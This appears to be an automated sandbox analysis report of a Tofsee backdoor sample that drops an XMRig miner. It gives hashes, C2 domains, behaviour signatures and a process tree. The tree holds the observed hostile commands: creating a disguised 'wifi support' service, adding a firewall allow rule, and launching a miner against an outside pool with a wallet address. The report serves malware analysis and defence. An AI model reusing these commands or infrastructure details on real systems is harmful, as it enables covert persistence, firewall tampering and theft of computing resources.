Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/12/2022, 15:11

General

  • Target

    42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1.exe

  • Size

    214KB

  • MD5

    48e16f8ef479a25054a42b47101d93c6

  • SHA1

    6f132f464806caebb7c2073a95f4d1b2864c4944

  • SHA256

    42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1

  • SHA512

    4377ff599d48823ad584f00f241a295f945d50a5f98d2685b3ab636a890dc4f0da6c0c0ea12e75e0e92958cc592da84d4199fd6d8178252e4f4acffa213981b4

  • SSDEEP

    3072:Nm7L47vpLxiaTRTTNGjO9U0OrRzciKGqX8/g3xoPXTofUWFG3ERWR3Le:078jpLxFNGj69Tvsg3CPDFWUU0V6

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1.exe
    "C:\Users\Admin\AppData\Local\Temp\42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\pluhdjjo\
      2⤵
        PID:4296
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\rxpejct.exe" C:\Windows\SysWOW64\pluhdjjo\
        2⤵
          PID:4048
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create pluhdjjo binPath= "C:\Windows\SysWOW64\pluhdjjo\rxpejct.exe /d\"C:\Users\Admin\AppData\Local\Temp\42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2040
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description pluhdjjo "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start pluhdjjo
          2⤵
          • Launches sc.exe
          PID:4552
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4264
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4904 -s 1044
          2⤵
          • Program crash
          PID:3472
      • C:\Windows\SysWOW64\pluhdjjo\rxpejct.exe
        C:\Windows\SysWOW64\pluhdjjo\rxpejct.exe /d"C:\Users\Admin\AppData\Local\Temp\42369695a644142fc23ca8cd139da81dbf3981af11798550e2d545e7decb2aa1.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4324
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4856
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4100
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4324 -s 512
          2⤵
          • Program crash
          PID:1860
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4904 -ip 4904
        1⤵
          PID:4872
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 484 -p 4324 -ip 4324
          1⤵
            PID:1744

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\rxpejct.exe

            Filesize

            10.8MB

            MD5

            93abf9e22ae6cfbfb366240ad40e7d1d

            SHA1

            e09dfee8ee8cf640bba00ddfadcdd4a814b42560

            SHA256

            8df754b2bf70adbafcf1c443b668615264d7b12d450e063186873341e416cdc7

            SHA512

            2215a5d61dc41b5fc4c04123b071d5547e311b5ecbf751e1b2957e32099c88571058cd52609ca054019742868ccfe432cd2223daa11a717c9161531a6bae47a6

          • C:\Windows\SysWOW64\pluhdjjo\rxpejct.exe

            Filesize

            10.8MB

            MD5

            93abf9e22ae6cfbfb366240ad40e7d1d

            SHA1

            e09dfee8ee8cf640bba00ddfadcdd4a814b42560

            SHA256

            8df754b2bf70adbafcf1c443b668615264d7b12d450e063186873341e416cdc7

            SHA512

            2215a5d61dc41b5fc4c04123b071d5547e311b5ecbf751e1b2957e32099c88571058cd52609ca054019742868ccfe432cd2223daa11a717c9161531a6bae47a6

          • memory/4100-172-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/4100-177-0x0000000000E00000-0x0000000000EF1000-memory.dmp

            Filesize

            964KB

          • memory/4324-149-0x00000000005DE000-0x00000000005EE000-memory.dmp

            Filesize

            64KB

          • memory/4324-150-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/4856-146-0x0000000000160000-0x0000000000175000-memory.dmp

            Filesize

            84KB

          • memory/4856-156-0x0000000000A70000-0x0000000000A76000-memory.dmp

            Filesize

            24KB

          • memory/4856-168-0x00000000023E0000-0x00000000023E7000-memory.dmp

            Filesize

            28KB

          • memory/4856-151-0x0000000000160000-0x0000000000175000-memory.dmp

            Filesize

            84KB

          • memory/4856-152-0x0000000000160000-0x0000000000175000-memory.dmp

            Filesize

            84KB

          • memory/4856-153-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4856-165-0x0000000006F00000-0x000000000730B000-memory.dmp

            Filesize

            4.0MB

          • memory/4856-159-0x0000000000A80000-0x0000000000A90000-memory.dmp

            Filesize

            64KB

          • memory/4856-162-0x00000000023D0000-0x00000000023D5000-memory.dmp

            Filesize

            20KB

          • memory/4904-132-0x00000000004A2000-0x00000000004B2000-memory.dmp

            Filesize

            64KB

          • memory/4904-144-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/4904-143-0x00000000004A2000-0x00000000004B2000-memory.dmp

            Filesize

            64KB

          • memory/4904-134-0x0000000000400000-0x000000000045F000-memory.dmp

            Filesize

            380KB

          • memory/4904-133-0x0000000000460000-0x0000000000473000-memory.dmp

            Filesize

            76KB